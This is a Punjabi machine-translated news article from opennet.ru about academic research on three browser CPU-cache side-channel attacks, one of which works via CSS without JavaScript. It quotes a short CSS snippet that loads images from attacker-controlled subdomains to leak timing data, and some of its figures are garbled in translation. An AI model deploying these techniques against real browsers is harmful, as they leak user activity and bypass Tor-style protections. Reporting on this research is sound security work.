ਜਾਵਾ ਸਕ੍ਰਿਪਟ ਤੋਂ ਬਿਨਾਂ ਵੈੱਬ ਬ੍ਰਾਊਜ਼ਰ ਵਿੱਚ CPU ਕੈਸ਼ ਐਕਸਟਰੈਕਸ਼ਨ ਅਟੈਕ ਲਾਗੂ ਕੀਤਾ ਗਿਆ

ਕਈ ਅਮਰੀਕੀ, ਇਜ਼ਰਾਈਲੀ ਅਤੇ ਆਸਟ੍ਰੇਲੀਆਈ ਯੂਨੀਵਰਸਿਟੀਆਂ ਦੇ ਖੋਜਕਰਤਾਵਾਂ ਦੀ ਇੱਕ ਟੀਮ ਨੇ ਪ੍ਰੋਸੈਸਰ ਕੈਸ਼ ਦੀ ਸਮੱਗਰੀ ਬਾਰੇ ਜਾਣਕਾਰੀ ਕੱਢਣ ਲਈ ਵੈੱਬ ਬ੍ਰਾਊਜ਼ਰਾਂ 'ਤੇ ਚੱਲਣ ਵਾਲੇ ਤਿੰਨ ਹਮਲੇ ਵਿਕਸਿਤ ਕੀਤੇ ਹਨ। ਇੱਕ ਵਿਧੀ ਜਾਵਾ ਸਕ੍ਰਿਪਟ ਤੋਂ ਬਿਨਾਂ ਬ੍ਰਾਊਜ਼ਰਾਂ ਵਿੱਚ ਕੰਮ ਕਰਦੀ ਹੈ, ਅਤੇ ਦੂਜੀ ਦੋ ਸਾਈਡ-ਚੈਨਲ ਹਮਲਿਆਂ ਤੋਂ ਸੁਰੱਖਿਆ ਦੇ ਮੌਜੂਦਾ ਤਰੀਕਿਆਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਦੀ ਹੈ, ਜਿਸ ਵਿੱਚ ਟੋਰ ਬ੍ਰਾਊਜ਼ਰ ਅਤੇ ਡੀਟਰਫੌਕਸ ਵਿੱਚ ਵਰਤੇ ਜਾਂਦੇ ਹਨ। ਹਮਲਿਆਂ ਨੂੰ ਪ੍ਰਦਰਸ਼ਿਤ ਕਰਨ ਲਈ ਕੋਡ, ਅਤੇ ਨਾਲ ਹੀ ਹਮਲਿਆਂ ਲਈ ਲੋੜੀਂਦੇ ਸਰਵਰ ਹਿੱਸੇ, GitHub 'ਤੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤੇ ਗਏ ਹਨ।

ਕੈਸ਼ ਦੀ ਸਮੱਗਰੀ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਲਈ, ਸਾਰੇ ਹਮਲੇ ਪ੍ਰਾਈਮ+ਪ੍ਰੋਬ ਵਿਧੀ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ, ਜਿਸ ਵਿੱਚ ਕੈਸ਼ ਨੂੰ ਮੁੱਲਾਂ ਦੇ ਇੱਕ ਮਿਆਰੀ ਸੈੱਟ ਨਾਲ ਭਰਨਾ ਅਤੇ ਉਹਨਾਂ ਨੂੰ ਮੁੜ ਭਰਨ ਵੇਲੇ ਉਹਨਾਂ ਤੱਕ ਪਹੁੰਚ ਦੇ ਸਮੇਂ ਨੂੰ ਮਾਪ ਕੇ ਤਬਦੀਲੀਆਂ ਦਾ ਪਤਾ ਲਗਾਉਣਾ ਸ਼ਾਮਲ ਹੁੰਦਾ ਹੈ। ਬ੍ਰਾਉਜ਼ਰਾਂ ਵਿੱਚ ਮੌਜੂਦ ਸੁਰੱਖਿਆ ਵਿਧੀਆਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਲਈ ਜੋ ਸਹੀ ਸਮੇਂ ਦੇ ਮਾਪ ਵਿੱਚ ਦਖਲ ਦਿੰਦੇ ਹਨ, ਦੋ ਵਿਕਲਪਾਂ ਵਿੱਚ, ਹਮਲਾਵਰ ਦੁਆਰਾ ਨਿਯੰਤਰਿਤ ਇੱਕ DNS ਜਾਂ WebSocket ਸਰਵਰ ਨੂੰ ਇੱਕ ਅਪੀਲ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਜੋ ਪ੍ਰਾਪਤ ਹੋਈਆਂ ਬੇਨਤੀਆਂ ਦੇ ਸਮੇਂ ਦਾ ਲੌਗ ਰੱਖਦਾ ਹੈ। ਇੱਕ ਰੂਪ ਵਿੱਚ, ਇੱਕ ਨਿਸ਼ਚਿਤ DNS ਜਵਾਬ ਸਮਾਂ ਇੱਕ ਸਮੇਂ ਦੇ ਸੰਦਰਭ ਵਜੋਂ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ।

ਮਸ਼ੀਨ ਲਰਨਿੰਗ 'ਤੇ ਆਧਾਰਿਤ ਵਰਗੀਕਰਣ ਪ੍ਰਣਾਲੀ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਬਾਹਰੀ DNS ਜਾਂ WebSocket ਸਰਵਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਕੀਤੇ ਗਏ ਮਾਪ, ਸਭ ਤੋਂ ਅਨੁਕੂਲ ਸਥਿਤੀ (ਔਸਤ 98-80%) ਵਿੱਚ 90% ਤੱਕ ਦੀ ਸ਼ੁੱਧਤਾ ਦੇ ਨਾਲ ਮੁੱਲਾਂ ਦੀ ਭਵਿੱਖਬਾਣੀ ਕਰਨ ਲਈ ਕਾਫੀ ਸਨ। ਹਮਲੇ ਦੇ ਤਰੀਕਿਆਂ ਦੀ ਜਾਂਚ ਵੱਖ-ਵੱਖ ਹਾਰਡਵੇਅਰ ਪਲੇਟਫਾਰਮਾਂ (Intel, AMD Ryzen, Apple M1, Samsung Exynos) 'ਤੇ ਕੀਤੀ ਗਈ ਹੈ ਅਤੇ ਇਹ ਯੂਨੀਵਰਸਲ ਸਾਬਤ ਹੋਏ ਹਨ।

DNS ਰੇਸਿੰਗ ਹਮਲੇ ਦਾ ਪਹਿਲਾ ਰੂਪ JavaScript ਐਰੇ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਪ੍ਰਾਈਮ+ਪ੍ਰੋਬ ਵਿਧੀ ਦੇ ਕਲਾਸਿਕ ਲਾਗੂਕਰਨ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਅੰਤਰ ਇੱਕ ਬਾਹਰੀ DNS-ਅਧਾਰਿਤ ਟਾਈਮਰ ਅਤੇ ਇੱਕ ਔਨਐਰਰ ਹੈਂਡਲਰ ਦੀ ਵਰਤੋਂ ਵਿੱਚ ਉਬਾਲਦੇ ਹਨ, ਜੋ ਉਦੋਂ ਸ਼ੁਰੂ ਹੁੰਦਾ ਹੈ ਜਦੋਂ ਇੱਕ ਗੈਰ-ਮੌਜੂਦ ਡੋਮੇਨ ਤੋਂ ਇੱਕ ਚਿੱਤਰ ਨੂੰ ਲੋਡ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਇੱਕ ਬਾਹਰੀ ਟਾਈਮਰ ਉਹਨਾਂ ਬ੍ਰਾਊਜ਼ਰਾਂ 'ਤੇ ਪ੍ਰਾਈਮ+ਪ੍ਰੋਬ ਹਮਲੇ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ ਜੋ JavaScript ਟਾਈਮਰ ਤੱਕ ਪਹੁੰਚ ਨੂੰ ਸੀਮਤ ਜਾਂ ਪੂਰੀ ਤਰ੍ਹਾਂ ਅਯੋਗ ਕਰਦੇ ਹਨ।

ਉਸੇ ਈਥਰਨੈੱਟ ਨੈੱਟਵਰਕ 'ਤੇ ਸਥਿਤ ਇੱਕ DNS ਸਰਵਰ ਲਈ, ਟਾਈਮਰ ਦੀ ਸ਼ੁੱਧਤਾ ਲਗਭਗ 2 ms ਹੈ, ਜੋ ਕਿ ਇੱਕ ਪਾਸੇ-ਚੈਨਲ ਹਮਲੇ ਨੂੰ ਪੂਰਾ ਕਰਨ ਲਈ ਕਾਫੀ ਹੈ (ਤੁਲਨਾ ਲਈ, ਟੋਰ ਬ੍ਰਾਊਜ਼ਰ ਵਿੱਚ ਮਿਆਰੀ JavaScript ਟਾਈਮਰ ਦੀ ਸ਼ੁੱਧਤਾ ਹੈ। ਘਟਾ ਕੇ 100 ms)। ਹਮਲੇ ਲਈ, DNS ਸਰਵਰ 'ਤੇ ਨਿਯੰਤਰਣ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ, ਕਿਉਂਕਿ ਓਪਰੇਸ਼ਨ ਦਾ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਸਮਾਂ ਚੁਣਿਆ ਗਿਆ ਹੈ ਤਾਂ ਜੋ DNS ਤੋਂ ਜਵਾਬ ਸਮਾਂ ਜਾਂਚ ਦੇ ਪਹਿਲਾਂ ਮੁਕੰਮਲ ਹੋਣ ਦੀ ਨਿਸ਼ਾਨੀ ਵਜੋਂ ਕੰਮ ਕਰੇ (ਇਸ ਗੱਲ 'ਤੇ ਨਿਰਭਰ ਕਰਦਾ ਹੈ ਕਿ ਕੀ ਓਨਰਰ ਹੈਂਡਲਰ ਨੂੰ ਚਾਲੂ ਕੀਤਾ ਗਿਆ ਸੀ। ਪਹਿਲਾਂ ਜਾਂ ਬਾਅਦ ਵਿੱਚ, ਕੈਸ਼ ਦੇ ਨਾਲ ਚੈਕ ਓਪਰੇਸ਼ਨ ਦੀ ਗਤੀ ਬਾਰੇ ਇੱਕ ਸਿੱਟਾ ਕੱਢਿਆ ਜਾਂਦਾ ਹੈ)।

ਦੂਜੀ ਅਟੈਕ ਵਿਧੀ, "ਸਟ੍ਰਿੰਗ ਅਤੇ ਸਾਕ", ਦਾ ਉਦੇਸ਼ ਸੁਰੱਖਿਆ ਤਕਨੀਕਾਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨਾ ਹੈ ਜੋ JavaScript ਵਿੱਚ ਐਰੇ ਦੀ ਘੱਟ-ਪੱਧਰੀ ਵਰਤੋਂ ਨੂੰ ਸੀਮਤ ਕਰਦੇ ਹਨ। ਐਰੇ ਦੀ ਬਜਾਏ, ਸਟ੍ਰਿੰਗ ਅਤੇ ਸਾਕ ਬਹੁਤ ਵੱਡੀਆਂ ਸਤਰਾਂ 'ਤੇ ਓਪਰੇਸ਼ਨਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ, ਜਿਸਦਾ ਆਕਾਰ ਚੁਣਿਆ ਜਾਂਦਾ ਹੈ ਤਾਂ ਜੋ ਵੇਰੀਏਬਲ ਪੂਰੇ LLC ਕੈਸ਼ (ਆਖਰੀ ਪੱਧਰ ਦੇ ਕੈਸ਼) ਨੂੰ ਕਵਰ ਕਰੇ। ਅੱਗੇ, indexOf() ਫੰਕਸ਼ਨ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਸਟਰਿੰਗ ਵਿੱਚ ਇੱਕ ਛੋਟੀ ਸਬਸਟਰਿੰਗ ਖੋਜੀ ਜਾਂਦੀ ਹੈ, ਜੋ ਸ਼ੁਰੂ ਵਿੱਚ ਸਰੋਤ ਸਤਰ ਵਿੱਚ ਗੈਰਹਾਜ਼ਰ ਹੁੰਦੀ ਹੈ, ਜਿਵੇਂ ਕਿ. ਖੋਜ ਕਾਰਵਾਈ ਦੇ ਨਤੀਜੇ ਵਜੋਂ ਸਾਰੀ ਸਤਰ ਨੂੰ ਦੁਹਰਾਇਆ ਜਾਂਦਾ ਹੈ। ਕਿਉਂਕਿ ਲਾਈਨ ਦਾ ਆਕਾਰ ਐਲਐਲਸੀ ਕੈਸ਼ ਦੇ ਆਕਾਰ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਸਕੈਨਿੰਗ ਤੁਹਾਨੂੰ ਐਰੇ ਨੂੰ ਹੇਰਾਫੇਰੀ ਕੀਤੇ ਬਿਨਾਂ ਕੈਸ਼ ਚੈੱਕ ਓਪਰੇਸ਼ਨ ਕਰਨ ਦੀ ਆਗਿਆ ਦਿੰਦੀ ਹੈ। ਦੇਰੀ ਨੂੰ ਮਾਪਣ ਲਈ, DNS ਦੀ ਬਜਾਏ, ਹਮਲਾਵਰ ਦੁਆਰਾ ਨਿਯੰਤਰਿਤ ਇੱਕ WebSocket ਸਰਵਰ ਨੂੰ ਇੱਕ ਕਾਲ ਕੀਤੀ ਜਾਂਦੀ ਹੈ - ਖੋਜ ਕਾਰਜ ਪੂਰਾ ਹੋਣ ਤੋਂ ਪਹਿਲਾਂ ਅਤੇ ਬਾਅਦ ਵਿੱਚ, ਸਵਾਲਾਂ ਨੂੰ ਲਾਈਨ ਵਿੱਚ ਭੇਜਿਆ ਜਾਂਦਾ ਹੈ, ਜਿਸ ਦੇ ਅਧਾਰ ਤੇ ਸਰਵਰ ਕੈਸ਼ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਲਈ ਵਰਤੀ ਗਈ ਦੇਰੀ ਦੀ ਗਣਨਾ ਕਰਦਾ ਹੈ। ਸਮੱਗਰੀ.

"CSS PP0" ਹਮਲੇ ਦਾ ਤੀਜਾ ਰੂਪ HTML ਅਤੇ CSS ਦੁਆਰਾ ਲਾਗੂ ਕੀਤਾ ਗਿਆ ਹੈ, ਅਤੇ JavaScript ਅਸਮਰਥਿਤ ਬ੍ਰਾਊਜ਼ਰਾਂ ਵਿੱਚ ਕੰਮ ਕਰ ਸਕਦਾ ਹੈ। ਵਿਧੀ "ਸਟ੍ਰਿੰਗ ਅਤੇ ਸਾਕ" ਦੇ ਸਮਾਨ ਹੈ, ਪਰ ਜਾਵਾ ਸਕ੍ਰਿਪਟ ਨਾਲ ਜੁੜੀ ਨਹੀਂ ਹੈ। ਹਮਲੇ ਦੇ ਦੌਰਾਨ, CSS ਚੋਣਕਾਰਾਂ ਦਾ ਇੱਕ ਸੈੱਟ ਤਿਆਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਜੋ ਮਾਸਕ ਦੁਆਰਾ ਖੋਜ ਕਰਦਾ ਹੈ. ਕੈਸ਼ ਨੂੰ ਭਰਨ ਵਾਲੀ ਸ਼ੁਰੂਆਤੀ ਵੱਡੀ ਸਤਰ ਨੂੰ ਇੱਕ ਬਹੁਤ ਵੱਡੇ ਕਲਾਸ ਨਾਮ ਦੇ ਨਾਲ ਇੱਕ ਡਿਵ ਟੈਗ ਬਣਾ ਕੇ ਸੈੱਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਅੰਦਰ ਉਹਨਾਂ ਦੇ ਆਪਣੇ ਪਛਾਣਕਰਤਾਵਾਂ ਦੇ ਨਾਲ ਹੋਰ ਡਿਵੀਆਂ ਦਾ ਇੱਕ ਸਮੂਹ ਹੈ. ਇਹਨਾਂ ਵਿੱਚੋਂ ਹਰੇਕ ਨੇਸਟਡ ਡਿਵਜ਼ ਦੀ ਇੱਕ ਚੋਣਕਾਰ ਨਾਲ ਆਪਣੀ ਸ਼ੈਲੀ ਹੁੰਦੀ ਹੈ ਜੋ ਸਬਸਟ੍ਰਿੰਗ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ। ਕਿਸੇ ਪੰਨੇ ਨੂੰ ਰੈਂਡਰ ਕਰਨ ਵੇਲੇ, ਬ੍ਰਾਊਜ਼ਰ ਪਹਿਲਾਂ ਅੰਦਰੂਨੀ ਡਿਵਜ਼ 'ਤੇ ਕਾਰਵਾਈ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦਾ ਹੈ, ਜਿਸ ਦੇ ਨਤੀਜੇ ਵਜੋਂ ਇੱਕ ਵੱਡੀ ਕਤਾਰ 'ਤੇ ਖੋਜ ਕਾਰਜ ਹੁੰਦਾ ਹੈ। ਖੋਜ ਇੱਕ ਜਾਣਬੁੱਝ ਕੇ ਗੁੰਮ ਹੋਏ ਮਾਸਕ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਕੀਤੀ ਜਾਂਦੀ ਹੈ ਅਤੇ ਪੂਰੀ ਲਾਈਨ 'ਤੇ ਦੁਹਰਾਉਣ ਵੱਲ ਲੈ ਜਾਂਦੀ ਹੈ, ਜਿਸ ਤੋਂ ਬਾਅਦ "ਨਹੀਂ" ਸਥਿਤੀ ਸ਼ੁਰੂ ਹੋ ਜਾਂਦੀ ਹੈ ਅਤੇ ਬੇਤਰਤੀਬ ਡੋਮੇਨਾਂ ਦਾ ਹਵਾਲਾ ਦਿੰਦੇ ਹੋਏ ਇੱਕ ਬੈਕਗ੍ਰਾਉਂਡ ਚਿੱਤਰ ਨੂੰ ਲੋਡ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … ਐਕਸ ਐਕਸ ...

ਸਬਡੋਮੇਨ ਹਮਲਾਵਰ ਦੇ DNS ਸਰਵਰ ਦੁਆਰਾ ਦਿੱਤੇ ਜਾਂਦੇ ਹਨ, ਜੋ ਬੇਨਤੀਆਂ ਪ੍ਰਾਪਤ ਕਰਨ ਵਿੱਚ ਦੇਰੀ ਨੂੰ ਮਾਪ ਸਕਦੇ ਹਨ। DNS ਸਰਵਰ ਸਾਰੀਆਂ ਬੇਨਤੀਆਂ ਲਈ NXDOMAIN ਜਾਰੀ ਕਰਦਾ ਹੈ ਅਤੇ ਬੇਨਤੀਆਂ ਦੇ ਸਹੀ ਸਮੇਂ ਦਾ ਲੌਗ ਰੱਖਦਾ ਹੈ। ਡਿਵਜ਼ ਦੇ ਇੱਕ ਸੈੱਟ ਦੀ ਪ੍ਰਕਿਰਿਆ ਕਰਨ ਦੇ ਨਤੀਜੇ ਵਜੋਂ, ਹਮਲਾਵਰ ਦੇ DNS ਸਰਵਰ ਨੂੰ ਬੇਨਤੀਆਂ ਦੀ ਇੱਕ ਲੜੀ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ, ਜਿਸ ਵਿੱਚ ਦੇਰੀ ਕੈਸ਼ ਸਮੱਗਰੀ ਦੀ ਜਾਂਚ ਦੇ ਨਤੀਜੇ ਨਾਲ ਸਬੰਧਿਤ ਹੁੰਦੀ ਹੈ।

ਸਰੋਤ: opennet.ru